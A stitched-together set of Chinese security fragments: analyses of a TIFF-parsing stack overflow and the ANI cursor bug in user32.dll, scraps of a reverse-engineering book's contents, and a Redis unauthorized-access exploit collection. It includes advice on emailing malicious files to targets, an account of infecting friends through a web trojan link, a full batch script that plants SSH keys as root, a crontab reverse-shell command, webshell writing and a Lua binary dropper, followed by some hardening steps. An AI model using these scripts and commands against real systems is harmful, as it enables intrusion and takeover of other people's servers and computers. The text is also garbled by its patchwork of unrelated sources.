    {"text": " 首部Header 字节0-1：字节序 “II”（4949.H）——小印第安，低字节存储在内存的低地址 “MM”（4D4D.H）——大印第安，低字节存储在内存的高地址 字节2-3：TIFF文件标识 最好选用42(十进制)，同时要看前面的字节序，如果是小印第安，这里就写2A00.H；"},
    {"text": "否则写002A.H 字节4-7：第一个图像文件目录（IFD）在文件中的偏移量（offset）  图像文件目录（IFD） 每一个图像文件目录（IFD）中首先有两个字节表示目录条目（DE）的个数，接着的连续的每12个字节是一个目录条目，每个IFD最后4个字节表示的是下一个IFD的偏移量，如果没有后继IFD的话用一个4字节数字0来结尾。  目录条目（DE） 每一个12字节的DE拥有同样的结构： 字节0-1：本域的标记（Tag） 字节2-3：本域类型（Type） 字节4-7：值的个数 字节8-11：具体的值，或者是一串多个值存储于文件的偏移量 其中类型有多种，最常见的有一下几种： 1=BYTE 8位无符号整数 2=ASCII 8位，其中前7位表示一个ASCII码；"},
    {"text": "首先我们来看看文件头部的8个字节，如下： 00000000h: 49 49 2A 00 90 3E 00 00 80 3F E0 50 38 24 16 0D ; II*.?..€?郟8$.. 根据上面的知识很容易知道其中的含义，49 49表示小印第安字节序；"},
    {"text": "90 3E 00 00表示该文件的第一个IFD在文件的00003E90偏移量处。 那么我们下一步很自然的去00003E90偏移量处去解析第一个IFD，可见该文件中只有这样一个IFD。"},
    {"text": "00003e90h: 0F 00 FE 00 04 00 01 00 00 00 00 00 00 00 00 01 ; ..?............ 00003ea0h: 03 00 01 00 00 00 80 02 00 00 01 01 03 00 01 00 ; ......€......... 00003eb0h: 00 00 00 02 00 00 02 01 03 00 FF 00 00 00 DA 3B ; .............? 00003ec0h: 00 00 03 01 03 00 01 00 00 00 05 00 00 00 06 01 ; ................ 00003ed0h: 03 00 01 00 00 00 02 00 00 00 11 01 04 00 56 00 ; ..............V. 00003ee0h: 00 00 38 3D 00 00 15 01 03 00 01 00 00 00 03 00 ; ..8=............ 00003ef0h: 00 00 16 01 04 00 01 00 00 00 06 00 00 00 17 01 ; ................ 00003f00h: 04 00 56 00 00 00 E0 3B 00 00 1A 01 05 00 01 00 ; ..V...?........ 00003f10h: 00 00 CA 3B 00 00 1B 01 05 00 01 00 00 00 D2 3B ; ..?..........? 00003f20h: 00 00 1C 01 03 00 01 00 00 00 01 00 00 00 28 01 ; ..............(. 00003f30h: 03 00 01 00 00 00 02 00 00 00 3D 01 03 00 01 00 ; ..........=..... 00003f40h: 00 00 01 00 00 00 0 0 00 00 00 ; .......... 其中大头的0F 00表示这个IFD中有15个DE，每个DE含有12个字节，我在上面把他们隔开了。 为了让大家对这个15个DE有更清楚的了解，我把他们按照含义列成一个表，如下所示： 序号 标记Tag 类型Type 值个数Count 值获偏移量Value/Offset 0 00FE 0004 0000 0001 0000 0000 1 0100 0003 0000 0001 0000 0280 2 0101 0003 0000 0001 0000 0200 3 0102 0003 0000 00FF 0000 3BDA 4 0103 0003 0000 0001 0000 0005 5 0106 0003 0000 0001 0000 0002 6 0111 0004 0000 0056 0000 3D38 7 0115 0003 0000 0001 0000 0003 8 0116 0004 0000 0001 0000 0006 9 0117 0004 0000 0056 0000 3BE0 10 011A 0005 0000 0001 0000 3BCA 11 011B 0005 0000 0001 0000 3BD2 12 011C 0003 0000 0001 0000 0001 13 0128 0003 0000 0001 0000 0002 14 013D 0003 0000 0001 0000 0001 在这15个DE中，最值得关注的是第4个，也就是上面用黑底绿字标出的一行，这个DE告诉我们，它的数值个数有0000 00FF个，也就是255个；"},
    {"text": "以我的直觉来看，我认为这255个数值就是最后造成栈溢出的直接凶手，可能就是在程序中处理这255个数值时，经这个数值读入某函数的局部变量(可能是个数组)时，由于开辟的数组元素数有限，而且没有比较255这个数和开辟的数组元素个数的大小关系，就开始读入，最终导致了缓冲区溢出的发生。"},
    {"text": "由于程序控制的EIP最终为0c0c0c0c，如果不修改一下的话，跟踪调试的时候，调试器是不会停下来的，那么很简单，直接把0c0c0c0c改为FFFFFFFF即可，这样调试器会发现程序在执行非法内存地址的指令，就会停下来。"},
    {"text": "根据函数调用的原理，我们可以知道覆盖EIP为FFFFFFFF前执行的指令应该是RET指令，在这个指令执行前一定有一个函数被调用，而这个函数也很有可能就是最终发生溢出的函数，那么在ESP指向的栈空间的上部一定有一些返回地址，那么我们可以把几个可以的返回地址记下来，然后在下一次程序加载了这个地址所属的dll文件或exe文件时拦截，并把断点下到刚才记录下来的地址紧邻的前一条指令处，那么一旦断下来，有两种境况，第一种情况是，栈还未被覆盖，说明溢出还没有发生，那么只要单步跟踪仔细调试，就可以跟到发生溢出的那行代码； 第二种境况是，栈已经被覆盖了，那说明记录下来的几个可疑地址是不正确的，根本就没有在这些函数内部发生溢出，这就需要在刚才发生了溢出后的栈中继续前溯，一定会在溢出之前断下程序，因为无论如何程序在溢出之前一定调用过某个程序。"},
    {"text": "我用这种办法，首先发现了两个可疑地址：oieng400.dll 文件中的690B 3F71和690B 3163，最后发现断到690B 3163时还尚未发生溢出，那么我就F7跟进去，最终通过单步调试的方法，终于找到了溢出发生的函数。 原来是在MSVCRT.dll下的read（）函数中溢出的。 为什么会在这个read（）函数中溢出呢？"},
    {"text": "我们首先来看看read（）函数的定义： _read()读文件函数 原形： int _read(handle,buffer,count) int handle;//文件句柄 void *buffer;//存放读出数据的缓冲区 unsigned count;//一次读出的字节数 功能：从由handle指定的文件中读取由count指定字节数的数据到buffer 返回值：0-0xfffe(实际读出的字节数)； -1(错误) 再来看看给read（）函数传入的三个参数是什么，其中handle是一个句柄，就是前面那个畸形文件的句柄；"},
    {"text": "而且在调用read（）函数之前并没有做任何长度上的检查，因此这是一定能导致溢出的，因为内部变量的空间是有限的，而文件中存储的数值个数却是不确定的。"},
    {"text": "我想到此，本漏洞导致的根本原因已经找到了，就是未检查文件DE指定的数值个数和长度就开始往内部变量中写入，最终覆盖了previous EBP和返回地址，导致发生栈溢出。"},
    {"text": "这里又多一个TIFF文件处理漏洞，看来图像格式文件的处理漏洞还是挺多的，也挺好挖掘的，只要掌握了文件格式的规范就可以开始fuzz了。 对于这个TIFF文件处理漏洞的利用，非常简单，你可以用milw0rm上公布的第一个exploit，改进自己的shellcode，然后用vc6编译生成畸形的、恶意的tif文件，然后通过邮件，聊天工具等软件发送给目标用户，只要他是Win2K操作系统，敢打开这个文件所在的目录，那就直接中招了。 当然还可以用本文中的exploit，也就是milw0rm上公布的第二个exploit，改进自己的shellcode，然后用ActivePerl运行那个perl程序，就可以生成一对文件——畸形tif文件和网页木马。"},
    {"text": "如下图，是我在本地的测试效果： 回顾本漏洞的重现过程和分析过程，我们首先学习了TIFF文件格式的一些基本规范，由于利用程序中没有详细的注释为什么那样构造畸形文件，因此我们需要掌握一定的文件格式规范。 接着我们结合利用程序对其生成的畸形tiff文件，根据格式规范来分析，发现在第一个IFD中的第4个DE有一定的可疑，该DE指定了数值类型为16位的无符号整数，一共指定了连续的FF个这样的数值。"},
    {"text": "最终通过跟踪调试的方法，定位到了栈溢出发生的函数——read（）函数，这是微软下的c标准运行库中的一个函数，功能是从由handle指定的文件中读取由count指定字节数的数据到buffer。"},
    {"text": "而在对tiff文件做处理的oieng400.dll文件中调用read（）函数时，传入的buffer竟然是内部变量，而且从文件中读取并写入这个内部变量前没有做任何的检查操作。"},
    {"text": "第9章 微软ANI光标文件漏洞彻底分析利用 漏洞概述 2007年3月30日，ph4nt0m和milw0rm先后公布了今年目前为止危害性最大的windows漏洞——user32.dll的ANI文件处理漏洞。"},
    {"text": "我写这篇文章已是漏洞爆出的第5天了，事实上，30号公布的漏洞，30号晚上利用这个漏洞的网马生成器已经在网上散播了，而且微软迟迟没有发布相关补丁。"},
    {"text": "虽然eEye推出了一款非官方的补丁，可以拦截一部分远程攻击、网络木马，但是4月1日，milw0rm上又公布了一个能够绕过eEye补丁的exploit。"},
    {"text": "ANI文件在播放时所形成的动画效果，其实就是一张张的光标或图标图像按一定的顺序绘制到屏幕上，并保留指定的时间（见时间控制区说明）依序循环显示的结果。"},
    {"text": "一个ANI文件的开头12个字节中，头4个字节为RIFF，后4个字节为ACON，中间4个字节是该ANI文件的长度（字节数）。 有了RIFF和ACON，就可断定该文件是一个ANI文件，也就是说，ACON是一个动画光标文件的标志。 在一个ANI文件中，必须有的块标识有以下几个： RIFF—多媒体文件识别码 ACON—ANI文件识别码 anih—ANI文件信息区识别码 LIST—LIST列表形式（窗体形式fccType=“fram”） icon—icon识别码 在一个ANI文件中，还可能有以下几个块标识中的一个或多个： INAM—ANI文件标题区识别码 IART—ANI文件说明信息区识别码 rate—ANI文件时间控制数据区识别码 seq —ANI文件图像显示帧顺序控制区识别码 这些块之间的逻辑层次关系可以如下表示： \"RIFF\" {Length of File} \"ACON\" \"LIST\" {Length of List} \"INAM\" {Length of Title} {Data} \"IART\" {Length of Author} {Data} \"fram\" \"icon\" {Length of Icon} {Data} ; 1st in list ... \"icon\" {Length of Icon} {Data} ; Last in list (1 to cFrames) \"anih\" {Length of ANI header (36 bytes)} {Data} ; (see ANI Header TypeDef ) \"rate\" {Length of rate block} {Data} ; ea. rate is a long (length is 1 to cSteps) \"seq \" {Length of sequence block} {Data} ; ea. seq is a long (length is 1 to cSteps) -END- 以上仅是对ANI文件格式的结论性描述，要完全明白这些块的作用和意义，以及块与块之间的逻辑关系，确实需要下一番功夫。"},
    {"text": "另外仅研读我给的资料是完全不够的，一定会有理解起来模糊的地方，因此还需要动手做实验，自己跟踪user32.dll对ANI文件的处理过程，从实验中得到结论。"},
    {"text": "如果你对ANI文件格式已有一定了解，那我们就可以开始分析造成最终user32.dll栈溢出的这个畸形.ani文件了，为了理解，我把这个ANI文件（exp.ani）用十六进制的方式打开，并示意如下： 这是一个精心构造的1k大小的.ani文件（在XP SP2全补丁下测试通过），其各个部分解释如下表所示： 偏移地址 内容 含义 块 0000-0003h “RIFF” 多媒体文件识别码 RIFF 0004-0007h 0000 0400h 文件大小（1k） 0008-000Bh “ACON” ANI文件识别码ACON 000C-000Fh “anih” anih识别码(ckID)，信息区开始的标志 anih 0010-0013h 0000 0024h anih块的大小（ckSize,36个字节） 0014-0037h anih块内容 0038-003Bh “LIST” LIST识别码，数据区开始的标志 LIST 003C-003Fh 0000 0003 LIST块的大小（3个字节） 0040-0043h LIST块内容 0044-0047h “LIST” LIST识别码，数据区开始的标志 LIST 0048-004Bh 0000 0003 LIST块的大小（3个字节） 004C-004Fh LIST块内容 0050-0053h “anih” anih识别码(ckID)，信息区开始的标志 anih 0054-0057h 0000 03A8h anih块的大小（ckSize,936个字节） 0058-03F0h anih块内容 为什么这个文件能使user32.dll栈溢出？ 据我分析，是因为user32.dll对这个.ani文件中的第二个anih块处理时，未对这个块的长度进行检查，最终导致栈溢出，控制了程序的EIP。"},
    {"text": "因为anih块内容是有自己的数据结构的，用一个结构体来表示： typedef DWORD JIF,*PJIF; typedef struct tagANIHEADER{ DWORD cbSizeof; //数据块大小，应该是36字节 DWORD cFrames; //ANI文件保存的图象桢数 DWORD cSteps; //完成一次动画过程要显示的图象数 DWORD cx; //图象宽度 DWORD cy; //图象高度 DWORD cBitCount; //颜色位数 DWORD cPlanes; //颜色位面数 JIF jifRate; //JIF速率 DWORD fl; //AF_ICON/AF_SEQUENCE设置标记 }ANIHEADER,*PANIHEADER; 可见，这个anih块内容是一个9个双字的结构体，所以说它的长度应该是9×4＝36字节。"},
    {"text": "然而这个畸形的.ani文件中第二个anih块内容的长度偏偏不为36字节，而是936个字节，若程序中把这个块的内容复制到栈中，你说这能不溢出吗？"},
    {"text": "//user32.dll中的ReadChunk（x,x,x）函数 77D53AC7 8BFF MOV EDI,EDI 77D53AC9 55 PUSH EBP 77D53ACA 8BEC MOV EBP,ESP 77D53ACC 56 PUSH ESI 77D53ACD 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] 77D53AD0 57 PUSH EDI 77D53AD1 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C] 77D53AD4 FF77 04 PUSH DWORD PTR DS:[EDI+4] ;anih块内容的长度 77D53AD7 FF75 10 PUSH DWORD PTR SS:[EBP+10] 77D53ADA 56 PUSH ESI 77D53ADB E8 7AFFFFFF CALL USER32.77D53A5A ； 调用ReadFileCopy函数 77D53AE0 85C0 TEST EAX,EAX //user32.dll中的ReadFileCopy（x,x,x）函数 77D53A5A 8BFF MOV EDI,EDI 77D53A5C 55 PUSH EBP 77D53A5D 8BEC MOV EBP,ESP 77D53A5F 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 77D53A62 8B55 10 MOV EDX,DWORD PTR SS:[EBP+10] 77D53A65 56 PUSH ESI 77D53A66 8B70 04 MOV ESI,DWORD PTR DS:[EAX+4] ;让ESI指向堆中的anih块内容 77D53A69 8D0C16 LEA ECX,DWORD PTR DS:[ESI+EDX] 77D53A6C 3BCE CMP ECX,ESI 77D53A6E 72 28 JB SHORT USER32.77D53A98 77D53A70 3BCA CMP ECX,EDX 77D53A72 72 24 JB SHORT USER32.77D53A98 77D53A74 3B48 08 CMP ECX,DWORD PTR DS:[EAX+8] 77D53A77 77 1F JA SHORT USER32.77D53A98 77D53A79 53 PUSH EBX 77D53A7A 57 PUSH EDI 77D53A7B 8B7D 0C MOV EDI,DWORD PTR SS:[EBP+C] ； 让EDI指向栈帧中的一个内存单元 77D53A7E 8BCA MOV ECX,EDX 77D53A80 8BD9 MOV EBX,ECX 77D53A82 C1E9 02 SHR ECX,2 ；"},
    {"text": "一次复制一个双字，所以下面REP指令的循环次数应该为字节数的四分之一 77D53A85 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 77D53A87 8BCB MOV ECX,EBX 77D53A89 83E1 03 AND ECX,3 77D53A8C F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 77D53A8E 0150 04 ADD DWORD PTR DS:[EAX+4],EDX 77D53A91 33C0 XOR EAX,EAX 77D53A93 5F POP EDI 77D53A94 40 INC EAX 77D53A95 5B POP EBX 77D53A96 EB 02 JMP SHORT USER32.77D53A9A 77D53A98 33C0 XOR EAX,EAX 77D53A9A 5E POP ESI 77D53A9B 5D POP EBP 77D53A9C C2 0C00 RETN 0C 上面是对溢出过程的动态跟踪分析，如果用IDA进行静态分析同样也会得到上面的提到的漏洞原因，这里不再赘述！"},
    {"text": "首当其冲的就是IE了，IE6，IE7已被测试通过，全部中招，也就是说写个网络木马是很容易了，只要有人敢上你的网站，那说都不说了，想干啥就干啥喽！"},
    {"text": "网上已经流传了很多木马生成器，使用很简单，输入网页木马远程存放地址和木马程序存放地址即可。 我使用了我的IP地址（202.117.7.209）作为测试，然后启动web服务（IIS5.1）,把生成的那三个文件（index.htm,z1.JPG,z2.JPG），还有木马程序（a.exe）放到web跟目录下。 然后把链接（http://202.117.7.209）给几个朋友，发现他们全部中招了，哈哈，好在我没有下毒手，那个木马程序仅仅是弹出个框框而已！"},
    {"text": "另外如果你的C盘是NTFS格式的，那么还可以使用如下措施： 1. “开始”菜单“运行”里输入\"gpedit.msc\" 2. 然后在“本地计算机”策略 => 用户配置 => 管理模板 => 系统 => 停止命令提示符 设置为“启用” 3. 把“他停用命令提示符脚本处理吗”选为“是”，再按确定！ 4. C:\\Documents and Settings\\xxxxxx\\Local Settings目录的权限设置为不能运行！"},
    {"text": "xxxxxx是你的用户名 总结 这个漏洞的根本原因是，user32.dll中的ReadChunk()函数未对.ani文件中的anih块内容长度进行检查，就直接调用ReadFilePtrCopy()函数把堆中的anih块内容复制到栈帧中。"},
    {"text": "无论利用这个漏洞的病毒、蠕虫、木马、恶意软件、网马对互联网的冲击有多大，我们都有理由相信，互联网及我们的PC能顶过这07年的第一次危机！"},
    {"text": "因此漏洞是一个很微妙的东西，不是说编程经验丰富、实现能力强的程序员写的程序就不会有漏洞，任何程序员只要编程时考虑不周，都有可能爆出漏洞！"},
    {"text": "逆向工程权威指南 下 Document Outline 第47章 字符串剪切 47.1 x64下的MSVC 2013优化 47.2 x64下采用编辑器GCC 4.9.1进行非优化操作 47.3 x64下的GCC 4.9.1优化 47.4 ARM64：非优化的GCC（Linaro）4.9 47.5 ARM64:优化GCC（Linaro）4.9 47.6 ARM: Keil 6/2013优化（ARM模式） 47.7 ARM:Keil 6/ 47.8 MIPS 第48章 toupper()函数 48.1 x64 48.1.1 两个比较操作 48.1.2 一个比较操作 48.2 ARM 48.2.1 ARM64下的GCC 48.3 总结 第49章 不正确的反汇编代码 49.1 x86环境下的，从一开始错误的反汇编 49.2 一些随机数，怎么看起来像反汇编指令？"},
    {"text": "逆向工程 权威指南 上 Document Outline 第一部分 编码模式 第1章 CPU简介 1.1 指令集架构 第2章 最简函数 2.1 x86 2.2 ARM 2.3 MIPS 2.3.1 MIPS指令集与寄存器名称 第3章 Hello，world！"},
    {"text": "3.1 x86 3.1.1 MSVC 3.1.2 GCC 3.1.3 GCC:AT&T语体 3.2 x86-64 3.2.1 MSVC-x86-64 3.2.2 GCC－x86-64 3.3 GCC的其他特性 3.4 ARM 3.4.1 Keil 6/2013——未启用优化功能的ARM模式 3.4.2 Thumb模式下、未开启优化选项的Keil 3.4.3 ARM模式下、开启优化选项的Xcode 3.4.4 Thumb-2模式下、开启优化选项的Xcode（LLVM） 3.4.5 ARM64 3.5 MIPS 3.5.1 全局指针Global pointer 3.5.2 Optimizing GCC 3.5.3 Non-optimizing GCC 3.5.4 栈帧 3.5.5 Optimizing GCC: GDB的分析方法 3.6 总结 3.7 练习 3.7.1 题目1 3.7.2 题目2 第4章 函数序言和函数尾声 4.1 递归调用 第5章 栈 5.1 为什么栈会逆增长？"},
    {"text": "零组0day文库 零组0day文库 来源： https://ianxtianxt.gitbook.io/0day/ Initial page Initial page 原文： https://ianxtianxt.gitbook.io/0day/ 0day 0day 原文： https://ianxtianxt.gitbook.io/0day/0day/0day redis redis 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/redis (python)Mongodb-Redis匿名扫描脚本 (python)Mongodb-Redis匿名扫描脚本 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/redis/pythonmongodbredis-ni-ming-sao-miao-jiao-ben 一、漏洞简介 (python)Mongodb-Redis匿名扫描脚本 二、影响范围 三、复现过程 ​ https://github.com/ianxtianxt/Mongodb-Redis-scan/ ​ mongodb-redis匿名扫描脚本，支持mongodb和redis的匿名扫描，脚本是之前有需求写的，现在分享给大家学习和研究: 用法： 批量扫描： Mongodbscan.py -m 100 -u ip.txt url.txt IP段扫描： Mongodbscan.py -m 100 -g 192.168.1.1-192.168.1.254 url.txt python2环境 pip install redis"},
    {"text": "(python)redis未授权批量提权脚本 (python)redis未授权批量提权脚本 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/redis/pythonredis-wei-shou-quan-pi-liang-ti-quan-jiao-ben ​ 一、漏洞简介 (python)redis未授权批量提权脚本 二、影响范围 三、复现过程 安装依赖 ☁ ~ sudo easy_install redis 使用 ☁ redis python hackredis.py usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] ​ For Example: ----------------------------------------------------------------------------- python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22 ​ optional arguments: -h, --help show this help message and exit -l IPLIST the hosts of target -p PORT the redis default port -r ID_RSAFILE the ssh id_rsa file you generate -sp SSH_PORT the ssh port 首先需要ssh密钥: ☁ ~ ssh-keygen -t rsa ☁ ~ cp ~/.ssh/id_rsa.pub /tmp/foo.txt 之后将ip列表填入ip.txt，然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt，操作失败的会存储在fail.txt。 #!/usr/bin/python #coding:utf-8 ############################################################# ## @file hackredis.py ## ## @date 2015-12-11 ## ## @author evi1cg ## ############################################################# import redis import argparse import textwrap import sys import pexpect def getargs(): parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''\\ For Example: ----------------------------------------------------------------------------- python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22''')) parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target') parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port') parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate') parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port') if(len(sys.argv[1:]) / 2 != 4): sys.argv.append('-h') return parser.parse_args() ​ def hackredis(host,port): ck = 0 try: print \"[*] Attacking ip:%s\"%host r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2) r.flushall r.set('crackit',foo) r.config_set('dir','/root/.ssh/') r.config_set('dbfilename','authorized_keys') r.save() ck =1 except: print \"\\033[1;31;40m[-]\\033[0m Something wrong with %s\"%host write(host,2) ck =0 if ck == 1: check(host) else: pass ​ def check(host): print '\\033[1;33;40m[*]\\033[0m Check connecting... ' try: ssh = pexpect.spawn('ssh [email protected] %s -p %d' %(host,ssh_port)) i = ssh.expect('[#\\$]',timeout=2) if i == 0: print \"\\033[1;34;40m[+]\\033[0m Success !\" write(host,1) else: pass except: print \"\\033[1;32;40m[-]\\033[0m Failed to connect !\" write(host,3) def write(host,suc): if suc == 1: filesname = 'success.txt' elif suc ==2: filesname = 'fail.txt' elif suc ==3: filesname = 'unconnect.txt' else: pass file_object = open(filesname,'a') file_object.write(host+' ') file_object.close() ​ ​ def main(): global foo,ssh_port paramsargs = getargs() try: hosts = open(paramsargs.iplist,\"r\") except(IOError): print \"Error: Check your hostfile path \" sys.exit(1) port = paramsargs.port ssh_port = paramsargs.ssh_port try: foo = ' ​ ​ '+open(paramsargs.id_rsafile,\"r\").readline()+' ​ ​ ' except(IOError): print \"Error: Check your wordlist path \" sys.exit(1) ips = [p.replace(' ','') for p in hosts] for ip in ips: hackredis(ip.strip(),port) ​ ​ if __name__ == \"__main__\": main()"},
    {"text": "redis未授权访问漏洞补充 redis未授权访问漏洞补充 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/redis/redis-wei-shou-quan-fang-wen-lou-dong-bu-chong 一、漏洞简介 redis未授权访问漏洞补充 二、影响范围 三、复现过程 1.扫描探测 (1). 测试时建议 vim /etc/redis.conf （1）cp redis.conf ./src/redis.conf （2）bind 127.0.0.1前面加上##号注释掉 或者更改成 0.0.0.0 （3）protected-mode设为no （4）启动redis-server ------> ./src/redis-server redis.conf (2). 攻击者喜欢的命令 （1）info 查看信息 （2）flushall 删除所有数据库内容： （3）flushdb 刷新数据库 （4）看所有键：KEYS *，使用select num可以查看键值数据。 （5）set test \"who am i\" 设置变量 （6）config set dir dirpath 设置路径等配置 （7）config get dir/dbfilename 获取路径及数据配置信息 （8）save 保存 （9）get 变量，查看变量名称 (3). msf下利用模块 auxiliary/scanner/redis/file_upload auxiliary/scanner/redis/redis_login auxiliary/scanner/redis/redis_server (4). nmap及获取信息 ​ image"},
    {"text": "redis总结 redis总结 原文： https://ianxtianxt.gitbook.io/0day/0day/0day/redis/redis-zong-jie ​ 一、漏洞简介 redis总结 二、影响范围 三、复现过程 攻击的几种方法 参考: http://www.cnblogs.com/xiaozi/p/7568272.html https://evi1cg.me/archives/hackredis.html ​ (1).利用计划任务执行命令反弹shell 在redis以root权限运行时可以写crontab来执行命令反弹shell 先在自己的服务器上监听一个端口 在redis以root权限运行时可以写crontab来执行命令反弹shell 先在自己的服务器上监听一个端口 nc -lvnp 7999 然后执行命令: [email protected] :~## redis-cli -h 192.168.63.130 192.168.63.130:6379> set x \"\\n* * * * * bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\\n\" 192.168.63.130:6379> config set dir /var/spool/cron/ 192.168.63.130:6379> config set dbfilename root 192.168.63.130:6379> save ps:此处使用bash反弹shell，也可使用其他方法 (2).写ssh-keygen公钥然后使用私钥登陆 在以下条件下，可以利用此方法 1、Redis服务使用ROOT账号启动 2、服务器开放了SSH服务，而且允许使用密钥登录，即可远程写入一个公钥，直接登录远程服务器。 首先在本地生成一对密钥： [email protected] :~/.ssh## ssh-keygen -t rsa 然后redis执行命令： ssh-keygen -t rsa ​ (echo -e \"\\n\\n\"; cat id_rsa.pub; echo -e \"\\n\\n\") > foo.txt cat foo.txt | redis-cli -h x.x.x.x -x set crackit redis-cli -h x.x.x.x > config set dir /root/.ssh/ > config get dir > config set dbfilename \"authorized_keys\" > save ​ ssh -i id_rsa [email protected] 或者如下 192.168.63.130:6379> config set dir /root/.ssh/ 192.168.63.130:6379> config set dbfilename authorized_keys 192.168.63.130:6379> set x \"\\n\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx [email protected] \\n\\n\\n\" ​ 192.168.63.130:6379> save (3).往web物理路径写webshell 当redis权限不高时，并且服务器开着web服务，在redis有web目录写权限时，可以尝试往web路径写webshell 192.168.63.130:6379> config set dir /var/www/html/ 192.168.63.130:6379> config set dbfilename shell.php 192.168.63.130:6379> set x \"<?php phpinfo();?>\" 192.168.63.130:6379> save 即可将shell写入web目录(web目录根据实际情况 (4).写二进制文件，利用dns、icmp等协议上线（tcp协议不能出网） From: http://www.00theway.org/2017/03/27/redis_exp/ 写二进制文件跟前边有所不同，原因在于使用RDB方式备份redis数据库是默认情况下会对文件进行压缩，上传的二进制文件也会被压缩，而且文件前后存在脏数据，因此需要将默认压缩关闭，并且通过计划任务调用python清洗脏数据。 local function hex2bin(hexstr) local str = \"\" for i = 1, string.len(hexstr) - 1, 2 do local doublebytestr = string.sub(hexstr, i, i+1); local n = tonumber(doublebytestr, 16); if 0 == n then str = str .. '\\00' else str = str .. string.format(\"%c\", n) end end return str end ​ local dir = redis.call('config','get','dir') redis.call('config','set','dir','/tmp/') local dbfilename = redis.call('config','get','dbfilename') redis.call('config','set','dbfilename','t') local rdbcompress = redis.call('config','get','rdbcompression') redis.call('config','set','rdbcompression','no') redis.call('flushall') ​ local data = '1a2b3c4d5e6f1223344556677890aa' redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a')) local rst = {} rst[1] = 'server default config' rst[2] = 'dir:'..dir[2] rst[3] = 'dbfilename:'..dbfilename[2] rst[4] = 'rdbcompression:'..rdbcompress[2] return rst 保存以上代码为a.lua，变量data保存的是程序的16进制编码，执行 redis-cli --eval a.lua -h *.*.*.* 由于redis不支持在lua中调用save因此需要手动执行save操作,并且删除key data，恢复dir等。 redis-cli save -h *.*.*.* redis-cli config set dir *** -h *.*.*.* redis-cli config set dbfilename *** -h *.*.*.* redis-cli config set rdbcompression * -h *.*.*.* 目前写入的文件前后是存在垃圾数据的，下一步通过写计划任务调用python或者系统命令提取出二进制文件（写文件之在数据前后加入了 |||作为提取最终文件的标识）。"},
    {"text": "*/1 * * * * python -c 'open(\"/tmp/rst\",\"a+\").write(open(\"/tmp/t\").read().split(\"|||\")[1])' /tmp/rst为最终上传的文件。"},
    {"text": "(5).傻瓜式python脚本 From: https://raw.githubusercontent.com/00theway/redis_exp/master/redis_exp.py ​ 执行命令 需要root权限，每次添加计划任务前先获取服务器时间，然后根据获取的时间设置执行计划任务的时间，确保命令被执行一次，避免多次执行引发服务器异常。 python redis_exp.py --host *.*.*.* -c 'id' ​ 上传文件 上传携带脏数据的文件不需要root权限，上传二进制文件需要root权限，先上传带有脏数据的文件，在文件前后插入特征字符串，然后添加计划任务截取数据 python redis_exp.py --host *.*.*.* -l /data/payload.py -r /tmp/p.py ​ 暴力猜解目录 不需要root权限，利用 config set dir 'xx' 报错进行目录猜解 python redis_exp.py --host *.*.*.* -f p.txt ​ 可以通过-p参数更改默认端口，-t参数更改等待时间 ​ ​ ​ ​ (6).批量验证 From: https://github.com/Ridter/hackredis ​ 3.防护措施 1.禁止一些高危命令 修改 redis.conf 文件，添加以下内容，来禁用远程修改 DB 文件地址 rename-command FLUSHALL \"\" rename-command CONFIG \"\" rename-command EVAL \"\" 2.以低权限运行 Redis 服务 为 Redis 服务创建单独的用户和家目录，并且配置禁止登陆 $ groupadd -r redis && useradd -r -g redis redis 3.为 Redis 添加密码验证 修改 redis.conf 文件，添加 requirepass mypassword 4.禁止外网访问 Redis 修改 redis.conf 文件，添加或修改，使得 Redis 服务只在当前主机可用 bind 127.0.0.1 5.保证 authorized_keys 文件的安全 为了保证安全，您应该阻止其他用户添加新的公钥。"},
    {"text": "将 authorized_keys 的权限设置为对拥有者只读，其他用户没有任何权限： ## chmod 400 ~/.ssh/authorized_keys 为保证 authorized_keys 的权限不会被改掉，您还需要设置该文件的 immutable 位权限： ## chattr +i ~/.ssh/authorized_keys 然而，用户还可以重命名 ~/.ssh，然后新建新的 ~/.ssh 目录和 authorized_keys 文件。 要避免这种情况，需要设置 ~./ssh 的 immutable 位权限： ## chattr +i ~/.ssh 注意: 如果需要添加新的公钥，需要移除 authorized_keys 的 immutable 位权限。"},
